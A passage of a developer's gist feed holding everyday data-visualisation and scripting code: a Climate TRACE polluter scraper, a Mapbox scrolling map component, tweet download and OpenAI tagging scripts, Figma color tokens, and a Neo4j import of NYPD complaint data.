      <guid isPermaLink="true">https://gist.github.com/ad555d7d8fca5cf5f35db1c3e3486a72</guid>
      <pubDate>Thu, 22 Sep 2022 16:31:56 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2022-09-22T16:31:56.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>build_top40_allsector_geojson.mjs</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2536</code:size>
      </code:file>
      <description><![CDATA[A GPT-3 code-davinci-002 written script to scrape the top 40 worst polluters for all available industries]]></description>
      <content:encoded><![CDATA[<h3>build_top40_allsector_geojson.mjs</h3><pre><code class="language-javascript">/* Our API takes queries like https://api.dev.climatetrace.org/v0/assets?sectors=steel&amp;limit=40&amp;year=2020 and returns geojson with point features */
/* We need to loop through every available sector and concatenate all of the features together into one large GeoJSON file called top40_allsectors.geojson */

/* Available sectors are: [{&quot;SectorId&quot;:1,&quot;SectorName&quot;:&quot;solid-waste-disposal&quot;},{&quot;SectorId&quot;:2,&quot;SectorName&quot;:&quot;manure-management&quot;},{&quot;SectorId&quot;:3,&quot;SectorName&quot;:&quot;oil-and-gas-production-and-transport&quot;},{&quot;SectorId&quot;:4,&quot;SectorName&quot;:&quot;coal-mining&quot;},{&quot;SectorId&quot;:5,&quot;SectorName&quot;:&quot;cement&quot;},{&quot;SectorId&quot;:6,&quot;SectorName&quot;:&quot;electricity-generation&quot;},{&quot;SectorId&quot;:7,&quot;SectorName&quot;:&quot;oil-and-gas-refining&quot;},{&quot;SectorId&quot;:8,&quot;SectorName&quot;:&quot;aviation&quot;},{&quot;SectorId&quot;:9,&quot;SectorName&quot;:&quot;international-aviation&quot;},{&quot;SectorId&quot;:10,&quot;SectorName&quot;:&quot;copper-mining&quot;},{&quot;SectorId&quot;:11,&quot;SectorName&quot;:&quot;shipping&quot;},{&quot;SectorId&quot;:12,&quot;SectorName&quot;:&quot;iron-mining&quot;},{&quot;SectorId&quot;:13,&quot;SectorName&quot;:&quot;bauxite-mining&quot;},{&quot;SectorId&quot;:14,&quot;SectorName&quot;:&quot;domestic-aviation&quot;},{&quot;SectorId&quot;:15,&quot;SectorName&quot;:&quot;road-transportation&quot;},{&quot;SectorId&quot;:16,&quot;SectorName&quot;:&quot;enteric-fermentation&quot;},{&quot;SectorId&quot;:17,&quot;SectorName&quot;:&quot;steel&quot;}] */

/* Use vanilla ES6 JS, and turf.js if necessary */
const sectors = [
  &quot;solid-waste-disposal&quot;,
  &quot;manure-management&quot;,
  &quot;oil-and-gas-production-and-transport&quot;,
  &quot;coal-mining&quot;,
  &quot;cement&quot;,
  &quot;electricity-generation&quot;,
  &quot;oil-and-gas-refining&quot;,
  &quot;aviation&quot;,
  &quot;international-aviation&quot;,
  &quot;copper-mining&quot;,
  &quot;shipping&quot;,
  &quot;iron-mining&quot;,
  &quot;bauxite-mining&quot;,
  &quot;domestic-aviation&quot;,
  &quot;road-transportation&quot;,
  &quot;enteric-fermentation&quot;,
  &quot;steel&quot;,
];

const year = 2020;
const limit = 40;

const fetch = require(&quot;node-fetch&quot;);
const fs = require(&quot;fs&quot;);

const getSectorData = async (sector) =&gt; {
  const url = `https://api.dev.climatetrace.org/v0/assets?sectors=${sector}&amp;limit=${limit}&amp;year=${year}`;
  const response = await fetch(url);
  const json = await response.json();
  return json;
};

const getAllSectorData = async () =&gt; {
  const sectorData = await Promise.all(
    sectors.map((sector) =&gt; getSectorData(sector))
  );
  return sectorData;
};

const writeToFile = (data) =&gt; {
  fs.writeFile(&quot;top40_allsectors.geojson&quot;, JSON.stringify(data), (err) =&gt; {
    if (err) throw err;
    console.log(&quot;The file has been saved!&quot;);
  });
};

const main = async () =&gt; {
  const sectorData = await getAllSectorData();
  const features = sectorData.flatMap((sector) =&gt; sector.features);
  const geojson = {
    type: &quot;FeatureCollection&quot;,
    features: features,
  };
  writeToFile(geojson);
};

main();</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[MapboxScrollyTour.vue]]></title>
      <link>https://gist.github.com/7b6a12465e0dea8e4eea1fb8a6af840a</link>
      <guid isPermaLink="true">https://gist.github.com/7b6a12465e0dea8e4eea1fb8a6af840a</guid>
      <pubDate>Tue, 13 Sep 2022 14:46:05 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2022-09-13T14:46:05.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>MapboxScrollyTour.vue</code:filename>
        <code:language>Vue</code:language>
        <code:size>6127</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>MapboxScrollyTour.vue</h3><pre><code class="language-vue">&lt;template&gt;
  &lt;section class=&quot;hero-map-container ba b--white bw2 bw3-l&quot; ref=&quot;root&quot;&gt;
    &lt;div id=&quot;map&quot; class=&quot;w-100 vh-100 z-1 top-0&quot; ref=&quot;mapRoot&quot;&gt;&lt;/div&gt;

    &lt;div ref=&quot;mapText&quot; class=&quot;map-text relative z-999 ml5-l measure&quot;&gt;
      &lt;p data-lat=&quot;35.102215&quot; data-lng=&quot;-89.999185&quot;&gt;TK 1&lt;/p&gt;

      &lt;p
        data-lat=&quot;35.12587&quot;
        data-lng=&quot;-90.0362&quot;
        data-place-marker=&quot;true&quot;
        data-marker-color=&quot;blue&quot;
        data-marker-text=&quot;Frank Sr. former home&quot;
      &gt;
        TK 2
      &lt;/p&gt;
    &lt;/div&gt;
  &lt;/section&gt;
&lt;/template&gt;

&lt;script&gt;
// import * as d3 from &apos;d3&apos;
// import turf
import {
  centerOfMass,
  point,
  featureCollection,
  feature,
  bbox,
} from &apos;@turf/turf&apos;
import * as mapboxgl from &apos;mapbox-gl&apos;
import &apos;mapbox-gl/dist/mapbox-gl.css&apos;
// import scrollama from &apos;scrollama&apos;

export default {
  props: {},
  data: function () {
    return {
      map: null,
      focusedEl: null,
      containerScrollY: 0,
      focused: false,
      initialZoom: 5,
      focusedZoom: 16,
      zoomDuration: 3300,
    }
  },
  computed: {
    isMobile: function () {
      const screenWidth = window.innerWidth
      return screenWidth &lt; 768
    },
  },
  mounted: function () {
    this.setUpMapboxMap()

    // const scroller = scrollama()
    // scroller
    //   .setup({
    //     step: &apos;.map-text p&apos;,
    //     // debug: true,
    //     // offset: 0.75,
    //     offset: 0.92,
    //   })
    //   .onStepEnter(this.onStepEnter)

    // set up scroll listener
    window.addEventListener(&apos;scroll&apos;, this.onScroll)
  },
  watch: {
    focused: function (newVal, oldVal) {
      if (newVal) {
        this.onMapFocused()
      } else if (oldVal &amp;&amp; !newVal) {
        this.onMapUnfocused()
      }
    },
  },
  methods: {
    onStepEnter(step) {
      const el = step.element
      // console.log(&apos;step&apos;, step, el)
      this.focusedEl = el
      const zoomDuration = this.zoomDuration
      const lat = el.getAttribute(&apos;data-lat&apos;)
      const lng = el.getAttribute(&apos;data-lng&apos;)
      const placeMarker = el.getAttribute(&apos;data-place-marker&apos;)
      const markerColor = el.getAttribute(&apos;data-marker-color&apos;)
      const markerText = el.getAttribute(&apos;data-marker-text&apos;)

      if (!lng || !lat) return
      this.map.flyTo({
        center: [lng, lat],
        zoom: this.focusedZoom,
        duration: this.zoomDuration,
      })
    },
    flyToLocation(location) {
      this.map.flyTo({
        center: [location.lng, location.lat],
        zoom: this.focusedZoom * 1.3,
        duration: this.zoomDuration,
      })
    },
    onMapUnfocused: function () {
      // this.map.fitBounds(bbox(focusAreaGeojson), {
      //   duration: this.zoomDuration * 1.4,
      //   padding: {
      //     left: 0,
      //     right: 0,
      //     top: 0,
      //     bottom: 0,
      //   },
      // })
    },
    onMapFocused: function () {
      // const zoomDuration = 8000
      // fit to bounds of whole Memphis
      // this.map.fitBounds(bbox(wholeAreaGeoJson), {
      //   duration: zoomDuration,
      //   padding: {
      //     left: 20,
      //     right: 20,
      //     top: 20,
      //     bottom: 20,
      //   },
      // })
      // this.map.easeTo({
      //   zoom: this.focusedZoom,
      //   pitch: 55,
      //   bearing: -32,
      //   duration: zoomDuration,
      // })
    },
    setUpMapboxMap: function () {
      this.map = new mapboxgl.Map({
        container: this.$refs.mapRoot,
        // style: &apos;mapbox://styles/mapbox/streets-v11&apos;,
        // satellite style
        // style: &apos;mapbox://styles/mapbox/satellite-v9&apos;,
        style: &apos;mapbox://styles/ejfox/cl7p0rxav000o15p0dnsl8jen&apos;,
        accessToken:
          &apos;pk.eyJ1IjoiZWpmb3giLCJhIjoiY2lyZjd0bXltMDA4b2dma3JzNnA0ajh1bSJ9.iCmlE7gmJubz2RtL4RFzIw&apos;,
        center: [-89.99542, 35.08652],
        zoom: this.initialZoom,

        // &apos;pk.eyJ1IjoiZWpmb3giLCJhIjoiY2lyZjd0bXltMDA4b2dma3JzNnA0ajh1bSJ9.iCmlE7gmJubz2RtL4RFzIw&apos;,

        // projection: &apos;globe&apos;,
        projection: &apos;mercator&apos;,
      })

      this.map.on(&apos;load&apos;, this.onMapLoaded)
      // Disable zoom scrolling
      this.map.scrollZoom.disable()

      // Disable panning
      if (this.isMobile) this.map.dragPan.disable()
    },
    onMapLoaded: function () {
      // add mapboxgl controls
      this.map.addControl(new mapboxgl.NavigationControl())

      this.map.easeTo({
        pitch: 45,
        duration: 0,
      })

      // add memphis depot as geojson, with orange fill
      // this.map.addSource(&apos;highlight&apos;, {
      //   type: &apos;geojson&apos;,
      //   data: highlightGeojson,
      // })

      // this.map.addLayer({
      //   id: &apos;highlight-fill&apos;,
      //   type: &apos;fill&apos;,
      //   source: &apos;highlight&apos;,
      //   paint: {
      //     &apos;fill-color&apos;: &apos;#ff7f00&apos;,
      //     &apos;fill-opacity&apos;: 0.2,
      //   },
      // })
    },
    onScroll: function (e) {
      this.containerScrollY = this.calcContainerScrollY(e)
      if (!this.$refs.root) return

      const containerHeight = this.$refs.root.offsetHeight
      // if containerScrollY is negative, not in focus for the height of the element
      if (this.containerScrollY &lt; 0) {
        this.focused = false
      } else if (this.containerScrollY &gt; containerHeight) {
        this.focused = false
      } else {
        this.focused = true
      }
    },
    calcContainerScrollY: function (e) {
      const containerEl = this.$refs.root
      if (!containerEl) return false
      /* figure out how many pixels have been scrolled in container */
      let containerScrollY = containerEl.getBoundingClientRect().top
      // invert the number from negative to positive
      containerScrollY = -containerScrollY
      return containerScrollY
    },
  },
}
&lt;/script&gt;

&lt;style scoped&gt;
#map {
  position: sticky;
}

.vh-80 {
  height: 80vh;
}

.hero-map-container {
  /* position: sticky;
  top: 1rem; */
}

p {
  margin-bottom: 48vh;
  padding: 2em 1.2em;
  margin-left: 2vw;
  margin-right: 2vw;
  line-height: 1.3em;
  background-color: white;
  border-radius: 0.25rem;
  box-shadow: 0 0 3.3rem rgba(0, 0, 0, 0.15);
  border: 1px solid white;
}

.sticky {
  position: sticky;
}
&lt;/style&gt;
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[download_recent_tweets.js]]></title>
      <link>https://gist.github.com/98ecfa51d0e91d86e23891f67bd8dc1a</link>
      <guid isPermaLink="true">https://gist.github.com/98ecfa51d0e91d86e23891f67bd8dc1a</guid>
      <pubDate>Mon, 27 Jun 2022 18:46:09 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2022-06-27T18:46:10.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>download_recent_tweets.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>2191</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>download_recent_tweets.js</h3><pre><code class="language-javascript">const fs = require(&apos;fs&apos;);
const axios = require(&apos;axios&apos;);
const apiKey = &apos;X&apos;;
const apiKeySecret = &apos;X&apos;;
const bearerToken =
  &apos;X&apos;;

// go through all tweets and add tags using openAI
const { Configuration, OpenAIApi } = require(&apos;openai&apos;);

const configuration = new Configuration({
  apiKey: &apos;X&apos;,
});
const openai = new OpenAIApi(configuration);


// CHANGE THIS TO YOUR UNIQUE TWITTER USER ID
// https://www.wikihow.com/Find-Your-User-ID-on-Twitter
const $mrejfox = &apos;10449&apos;;

const { TwitterApi, TwitterV2IncludesHelper } = require(&apos;twitter-api-v2&apos;);

const userClient = new TwitterApi({
  appKey: apiKey,
  appSecret: apiKeySecret,
});

async function getUserTimeline(userId) {
  // Create a client with an already known bearer token
  const appOnlyClient = new TwitterApi(bearerToken);

  const userTimeline = await appOnlyClient.v2.userTimeline($mrejfox, {
    &apos;tweet.fields&apos;: [&apos;created_at&apos;, &apos;public_metrics&apos;, &apos;lang&apos;],
    expansions: [&apos;attachments.media_keys&apos;, &apos;referenced_tweets.id&apos;],
    &apos;media.fields&apos;: [&apos;url&apos;, &apos;preview_image_url&apos;]
  });
  const includes = new TwitterV2IncludesHelper(userTimeline);

  const allTweets = [];
  for await (const fetchedTweet of userTimeline) {
    fetchedTweet.mediaUrls = userTimeline.includes.medias(fetchedTweet);

    // for await (const media of fetchedTweet.mediaUrls) {
    //   if(!media.url) return
    //   await download_image(media.url, &apos;./public/images/&apos;+media.media_key+&apos;.jpg&apos;)
    // }

    // Now if we were cool, we would download all of the mediaUrls into a folder of images with the filenames as the media_key with axios
    allTweets.push(fetchedTweet);
  }


  // write allTweets to file
  fs.writeFileSync(
    &apos;./public/data/tweets_all.json&apos;,
    JSON.stringify(allTweets, null, 2)
  );
}

getUserTimeline($mrejfox);

//https://stackoverflow.com/questions/12740659/downloading-images-with-node-js

const download_image = (url, image_path) =&gt;
  axios({
    url,
    responseType: &apos;stream&apos;,
  }).then(
    (response) =&gt;
      new Promise((resolve, reject) =&gt; {
        response.data
          .pipe(fs.createWriteStream(image_path))
          .on(&apos;finish&apos;, () =&gt; resolve())
          .on(&apos;error&apos;, (e) =&gt; reject(e));
      })
  );
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Use OpenAI to add tags to a JSON file of tweets]]></title>
      <link>https://gist.github.com/60caff5e4a3a5197374c8fe7c6221b55</link>
      <guid isPermaLink="true">https://gist.github.com/60caff5e4a3a5197374c8fe7c6221b55</guid>
      <pubDate>Mon, 27 Jun 2022 18:36:26 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2022-06-27T18:47:20.000Z</dcterms:modified>
      <code:stargazers>1</code:stargazers>
      <code:file>
        <code:filename>add_tags_to_tweets.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>3862</code:size>
      </code:file>
      <description><![CDATA[Use OpenAI to add tags to a JSON file of tweets]]></description>
      <content:encoded><![CDATA[<h3>add_tags_to_tweets.js</h3><pre><code class="language-javascript">const fs = require(&apos;fs&apos;);
const { Configuration, OpenAIApi } = require(&apos;openai&apos;);
const { RateLimiter } = require(&apos;limiter&apos;);

const limiter = new RateLimiter({
  tokensPerInterval: 10,
  interval: &apos;minute&apos;,
  fireImmediately: true,
});

const configuration = new Configuration({
  apiKey: &apos;ALMOST-GOT-ME&apos;,
});
const openai = new OpenAIApi(configuration);

// make async function
async function add_tags_to_tweets() {
  // load tweets from public/data/tweets_all.json
  const tweets = JSON.parse(
    fs.readFileSync(&apos;./public/data/tweets_all.json&apos;, &apos;utf8&apos;)
  );

  const filteredTweets = tweets
    .filter((t) =&gt; {
      return t.public_metrics.like_count &gt; 1;
    })
    // remove all t.co links
    .map((t) =&gt; {
      return {
        ...t,
        text: t.text.replace(/\b(https?:\/\/)?t.co\/\w+\b/g, &apos;&apos;),
      };
    })
    // remove all pic.twitter.com links
    .map((t) =&gt; {
      return {
        ...t,
        text: t.text.replace(/\b(https?:\/\/)?pic.twitter.com\/\w+\b/g, &apos;&apos;),
      };
    })
    // remove any tweets with @ in the text
    // .filter((t) =&gt; {
    //   return !t.text.includes(&apos;@&apos;);
    // })
    // remove tweets with no text
    .filter((t) =&gt; {
      return t.text.length &gt; 0;
    });

  console.log(tweets.length + &apos; tweets loaded&apos;);

  const taggedTweets = [];

  // Use openAI to tag the tweets
  const tagTweetRequests = filteredTweets.map(async (tweet, i) =&gt; {
    tweet.gpt3Tags = await tagTweet(tweet.text);
    console.log(&apos;🏷️ tags&apos;, tweet.text, tweet.gpt3Tags);
    taggedTweets.push(tweet);
    return tweet;
  });

  async function tagTweet(tweetText) {
    const remaining = await limiter.removeTokens(1);
    const prompt = `EJ is writing a tool that takes a tweet and applies a tag to it. EJ uses these tags to categorize tweets:  &apos;3d&apos;, &apos;activism&apos;, &apos;arduino&apos;, &apos;art&apos;, &apos;cli&apos;, &apos;cooking&apos;, &apos;crypto&apos;, &apos;d3&apos;, &apos;data&apos;, &apos;datajournalism&apos;, &apos;dataset&apos;, &apos;dataviz&apos;, &apos;design&apos;, &apos;elections&apos;, &apos;Fashion&apos;, &apos;food&apos;, &apos;games&apos;, &apos;github&apos;, &apos;hackers&apos;, &apos;hacking&apos;, &apos;howto&apos;, &apos;inspiration&apos;, &apos;javascript&apos;, &apos;journalism&apos;, &apos;machinelearning&apos;, &apos;mapping&apos;, &apos;maps&apos;, &apos;music&apos;, &apos;node&apos;, &apos;oakland&apos;, &apos;occupy&apos;, &apos;photography&apos;, &apos;pico8&apos;, &apos;police&apos;, &apos;politics&apos;, &apos;programming&apos;, &apos;protest&apos;, &apos;raspberrypi&apos;, &apos;recipe&apos;, &apos;reference&apos;, &apos;research&apos;, &apos;resource&apos;, &apos;tech&apos;, &apos;tool&apos;, &apos;video&apos;, &apos;visualization&apos;, &apos;vj&apos;, &apos;webdesign&apos;, &apos;writing&apos;, and &apos;youtube&apos;. If none of these words describe the tweet, we just use the word \&quot;none\&quot;. \n\n\n---\ntweet: \&quot;now we’re talkin\&quot;\ntags: &apos;none&apos;\n---\ntweet: \&quot;I want to break news on our Twitch stream this year\&quot;\ntags: &apos;journalism&apos;, &apos;streaming&apos;, &apos;twitch&apos;, &apos;news&apos;\n---\ntweet: \&quot;Something cool about taking a map from 1954 and running it through a 3D graphics engine (via USGS&apos;s awesome Topoview tool which lets you get geoTIFFs going back to 1880)\&quot;\ntags: &apos;mapping&apos;, &apos;3d&apos;\n---\ntweet: \&quot;Going live now\&quot;\ntags: &apos;live&apos;, &apos;video&apos;\n---\ntweet:${tweetText}`;
    if (tweetText.length &gt; 5) {
      const response = await openai.createCompletion({
        model: &apos;text-davinci-002&apos;,
        // prompt: tweet.text,
        prompt,
        temperature: 0.2,
        max_tokens: 120,
        top_p: 1,
        frequency_penalty: 0,
        presence_penalty: 0,
      });

      let tags = response.data.choices[0].text.split(&apos;\ntags: &apos;)[1].split(&apos;, &apos;);

      tags = tags.map((tag) =&gt; {
        // remove any quote marks from the tag
        return tag.replace(/[&apos;&quot;]+/g, &apos;&apos;);
      });

      return tags;
    } else {
      return &apos;none&apos;;
    }
  }

  // wait for all requests to be done and then write to file
  await Promise.all(tagTweetRequests);
  console.log(&apos;💡 All tweets tagged&apos;);
  console.log(&apos;💡 Writing tagged tweets to file&apos;);
  fs.writeFileSync(
    &apos;./public/data/all_tweets_tagged.json&apos;,
    JSON.stringify(taggedTweets)
  );
  console.log(`💾 ${taggedTweets.length} tweets tagged and saved to file`);
}

add_tags_to_tweets();
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[tachyon-figma-tokens.json]]></title>
      <link>https://gist.github.com/5678aa4d934b87d0c8ab6bf0805ea5f1</link>
      <guid isPermaLink="true">https://gist.github.com/5678aa4d934b87d0c8ab6bf0805ea5f1</guid>
      <pubDate>Thu, 02 Jun 2022 22:24:16 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2022-06-02T22:24:17.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>tachyon-figma-tokens.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>3550</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>tachyon-figma-tokens.json</h3><pre><code class="language-json">{
    &quot;global&quot;: {
        &quot;red&quot;: {
            &quot;value&quot;: &quot;#E60D4E&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;blue&quot;: {
            &quot;value&quot;: &quot;#0D7EE6&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;orange&quot;: {
            &quot;value&quot;: &quot;#E68F0D&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;green&quot;: {
            &quot;value&quot;: &quot;#ABE363&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;black&quot;: {
            &quot;value&quot;: &quot;#000000&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;near-black&quot;: {
            &quot;value&quot;: &quot;#111111&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;dark-gray&quot;: {
            &quot;value&quot;: &quot;#333333&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;mid-gray&quot;: {
            &quot;value&quot;: &quot;#555555&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;gray&quot;: {
            &quot;value&quot;: &quot;#777777&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;silver&quot;: {
            &quot;value&quot;: &quot;#999999&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;light-silver&quot;: {
            &quot;value&quot;: &quot;#aaaaaa&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;moon-gray&quot;: {
            &quot;value&quot;: &quot;#cccccc&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;light-gray&quot;: {
            &quot;value&quot;: &quot;#eeeeee&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;near-white&quot;: {
            &quot;value&quot;: &quot;#f4f4f4&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;white&quot;: {
            &quot;value&quot;: &quot;#ffffff&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;dark-red&quot;: {
            &quot;value&quot;: &quot;#f00008&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;red&quot;: {
            &quot;value&quot;: &quot;#ff3223&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;orange&quot;: {
            &quot;value&quot;: &quot;#f3a801&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;gold&quot;: {
            &quot;value&quot;: &quot;#f2c800&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;yellow&quot;: {
            &quot;value&quot;: &quot;#ffde37&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;purple&quot;: {
            &quot;value&quot;: &quot;#7d5da9&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;light-purple&quot;: {
            &quot;value&quot;: &quot;#8d4f92&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;hot-pink&quot;: {
            &quot;value&quot;: &quot;#d62288&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;dark-pink&quot;: {
            &quot;value&quot;: &quot;#c64774&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;pink&quot;: {
            &quot;value&quot;: &quot;#f49cc8&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;dark-green&quot;: {
            &quot;value&quot;: &quot;#006C71&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;green&quot;: {
            &quot;value&quot;: &quot;#41D69F&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;navy&quot;: {
            &quot;value&quot;: &quot;#001b44&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;dark-blue&quot;: {
            &quot;value&quot;: &quot;#00449e&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;blue&quot;: {
            &quot;value&quot;: &quot;#357edd&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;light-blue&quot;: {
            &quot;value&quot;: &quot;#96ccff&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;lightest-blue&quot;: {
            &quot;value&quot;: &quot;#cdecff&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;washed-blue&quot;: {
            &quot;value&quot;: &quot;#f6fffe&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;washed-green&quot;: {
            &quot;value&quot;: &quot;#e8fdf5&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;washed-yellow&quot;: {
            &quot;value&quot;: &quot;#fff8d5&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;light-pink&quot;: {

            &quot;value&quot;: &quot;#efa4b8&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;light-yellow&quot;: {
            &quot;value&quot;: &quot;#f3dd70&quot;,
            &quot;type&quot;: &quot;color&quot;
        },
        &quot;light-red&quot;: {
            &quot;value&quot;: &quot;#ffd3c0&quot;,
            &quot;type&quot;: &quot;color&quot;
        }
    }
}
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Vue method to set width and height based on component element size]]></title>
      <link>https://gist.github.com/4433ddc1e66322b48a24a4b811551d49</link>
      <guid isPermaLink="true">https://gist.github.com/4433ddc1e66322b48a24a4b811551d49</guid>
      <pubDate>Fri, 13 May 2022 13:38:01 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2022-05-13T13:38:01.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>setWidthAndHeight.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>612</code:size>
      </code:file>
      <description><![CDATA[Vue method to set width and height based on component element size]]></description>
      <content:encoded><![CDATA[<h3>setWidthAndHeight.js</h3><pre><code class="language-javascript">    setWidthAndHeight() {
      const cs = getComputedStyle(this.$el)

      const paddingX = parseFloat(cs.paddingLeft) + parseFloat(cs.paddingRight)
      const paddingY = parseFloat(cs.paddingTop) + parseFloat(cs.paddingBottom)

      const borderX =
        parseFloat(cs.borderLeftWidth) + parseFloat(cs.borderRightWidth)
      const borderY =
        parseFloat(cs.borderTopWidth) + parseFloat(cs.borderBottomWidth)

      // Element width and height minus padding and border
      this.width = this.$el.offsetWidth - paddingX - borderX
      this.height = this.$el.offsetHeight - paddingY - borderY
    },</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[import.cypher]]></title>
      <link>https://gist.github.com/f9540f9b776fdebf6b976ed3a7c4d20a</link>
      <guid isPermaLink="true">https://gist.github.com/f9540f9b776fdebf6b976ed3a7c4d20a</guid>
      <pubDate>Wed, 19 May 2021 17:18:26 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2021-05-19T17:18:27.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>import.cypher</code:filename>
        <code:language>Cypher</code:language>
        <code:size>5263</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>import.cypher</h3><pre><code class="language-cypher">// CLEAR DATA
MATCH (n:Officer) DETACH delete n;
MATCH (n:Incident) DETACH delete n;
MATCH (n:Precinct) DETACH delete n;
MATCH (n:Penalty) DETACH delete n;

// SET CONSTRAINTS
CREATE CONSTRAINT officerIdConstraint ON (officer:Officer) ASSERT officer.id IS UNIQUE
CREATE CONSTRAINT incidentIdConstraint ON (incident:Incident) ASSERT incident.id IS UNIQUE
CREATE CONSTRAINT precinctIdConstraint ON (precinct:Precinct) ASSERT precinct.id IS UNIQUE
CREATE CONSTRAINT penaltyIdConstraint ON (penalty:Penalty) ASSERT penalty.id IS UNIQUE

// CREATE PRECINCTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MERGE (precinct:Precinct {pct: COALESCE(csvLine.IncidentPrecinct, &apos;NO PRECINCT SET&apos;)})
RETURN precinct

// CREATE PENALTIES
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MERGE (penalty:Penalty {id: toInteger(csvLine.ComplaintID), penaltyRec: COALESCE(csvLine.PenaltyRec, &quot;NO PENALTY RECOMMENDATION&quot;), penaltyDesc: COALESCE(csvLine.PenaltyDesc, &quot;NO PENALTY DESCRIPTION&quot;)})
return penalty

// CREATE OFFICERS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MERGE (officer:Officer {id: toInteger(csvLine.OfficerID), lastName: csvLine.LastName, firstName: csvLine.FirstName, status: csvLine.Status, gender: csvLine.OfficerGender})
RETURN officer

// MAYBE FULL NAMES?
// MAYBE FULL NAMES?
RETURN COALESCE(a.x ,&quot;&quot;) + &apos;,&apos; + COALESCE(a.y ,&quot;&quot;)
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
MERGE (officer:Officer {id: toInteger(csvLine.OfficerID), fullName: COALESCE(csvLine.FirstName ,&quot;&quot;) + &apos;,&apos; + COALESCE(csvLine.LastName ,&quot;&quot;), lastName: csvLine.LastName, firstName: csvLine.FirstName, status: csvLine.Status, gender: csvLine.OfficerGender})
RETURN officer


// CREATE INCIDENTS
LOAD CSV WITH HEADERS FROM &quot;http://localhost:11001/project-185bb75c-b944-451a-9c0f-aeba860ae68a/nypd_complaints.csv&quot; AS csvLine
